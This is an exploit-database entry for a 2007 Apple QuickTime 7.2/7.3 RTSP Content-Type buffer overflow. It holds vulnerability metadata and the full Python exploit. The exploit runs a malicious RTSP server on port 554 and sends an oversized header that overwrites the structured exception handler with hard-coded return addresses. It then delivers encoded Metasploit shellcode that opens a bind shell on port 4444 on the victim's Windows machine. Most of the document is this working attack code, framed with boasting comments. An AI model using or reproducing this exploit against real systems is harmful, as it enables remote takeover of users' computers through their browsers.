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Suggest Exploit
vendor:
QuickTime Player
by:
Krystian Kloskowski (h07)
7.5
CVSS
HIGH
Buffer Overflow
CWE
Product Name: QuickTime Player
Affected Version From: 7.3
Affected Version To: 7.3
Patch Exists: NO
Related CWE:
CPE: a:apple:quicktime:7.3
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP2, Vista
2007

Universal Apple QuickTime Player Exploit

This exploit allows an attacker to gain control over the execution of Apple QuickTime Player by making the buffer larger than the original exploit and overwriting the last exception handler. It has been tested on Apple QuickTime Player 7.3 and 7.2 with Internet Explorer 7, Firefox, and Opera on Windows XP SP2 and Vista.

Mitigation:

Update to a patched version of Apple QuickTime Player.
Source

Exploit-DB raw data:

#!/usr/bin/python
##########################################################################
# http://www.offensive-security.com
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: Apple QuickTime Player 7.3 / 7.2 IE7,FF /Opera, XP SP2, Vista
# This exploit is completely "Universal" .... It has also been modded to work via url redirection ...  
# Magic RETs work on 7.3,7.2,XPSP2,Vista,IE7,Firefox,Opera....
# re-edited by muts and javaguru1999 to annoy Symantec
# http://www.symantec.com/enterprise/security_response/weblog/2007/11/0day_exploit_for_apple_quickti.html
# there IS NO SPOON!
##########################################################################  
# "With Internet Explorer versions 6 and 7, and the Safari 3 beta,  
# the attack appears to be prevented because standard buffer overflow  
# prevention processes act before any damage can be done, Florio wrote.  
# With Firefox, the QuickTime RTSP response is unmoderated. As a result,  
# the exploit works against Firefox if QuickTime is the default multimedia player,  
# according to Florio."
##########################################################################
# Calling Quicktime via URL kicks in an Extra Exception Handler,  
# of which we have no control over.
# By making the buffer larger than the original exploit, we can overwrite  
# the last exception handler, and regain control over execution.
# This is indeed an evil exploit - muhaha.
##########################################################################
 
from socket import *
 
header = (
'RTSP/1.0 200 OK\r\n'
'CSeq: 1\r\n'
'Date: 0x00 :P\r\n'
'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n'
'Content-Type: %s\r\n' # <-- overflow
'Content-Length: %d\r\n'
'\r\n')
 
body = (
'v=0\r\n'
'o=- 16689332712 1 IN IP4 0.0.0.0\r\n'
's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'
'i=1.mp3\r\n'
't=0 0\r\n'
'a=tool:ciamciaramcia\r\n'
'a=type:broadcast\r\n'
'a=control:*\r\n'
'a=range:npt=0-213.077\r\n'
'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'
'a=x-qt-text-inf:1.mp3\r\n'
'm=audio 0 RTP/AVP 14\r\n'
'c=IN IP4 0.0.0.0\r\n'
'a=control:track1\r\n'
)
 
# ExitProcess shellcode will kill browser, but keep the shell open
 
shellcode =(# win32_bind -  EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61"
"\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53"
"\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e"
"\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46"
"\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50"
"\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b"
"\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b"
"\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69"
"\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36"
"\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44"
"\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56"
"\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74"
"\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53"
"\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a"
"\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71"
"\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78"
"\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f"
"\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32"
"\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c"
"\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33"
"\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51"
"\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51"
"\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41"
"\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e"
"\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39"
"\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b"
"\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e"
"\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38"
"\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31"
"\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46"
"\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30"
"\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73"
"\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e"
"\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32"
"\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30"
"\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e"
"\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58"
"\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41"
"\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b"
"\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b"
"\x4f\x48\x56\x69\x6f\x6a\x70\x42")
 
tmp = "A" * 987
tmp +="\xeb\x20\x90\x90"  # short jump for 7.2
tmp +="\xeb\x20\x9c\x66"  # 669c20eb | funky magic - pop pop ret for 7.2 / short jump for 7.3
tmp +="\x4e\x28\x86\x66"  # 6686284e | pop pop ret for 7.3
tmp += "\x90" * 92
tmp += shellcode
tmp += "\x41" * int(30000-len(shellcode))    # play with this buffer if you still get exceptions.  
 
header %= (tmp, len(body))
evil = header + body
 
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 554))
s.listen(1)
print "[+] Listening on [RTSP] 554"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(evil)
raw_input("[+] Done, press enter to quit")
c.close()
s.close()

# milw0rm.com [2007-11-26]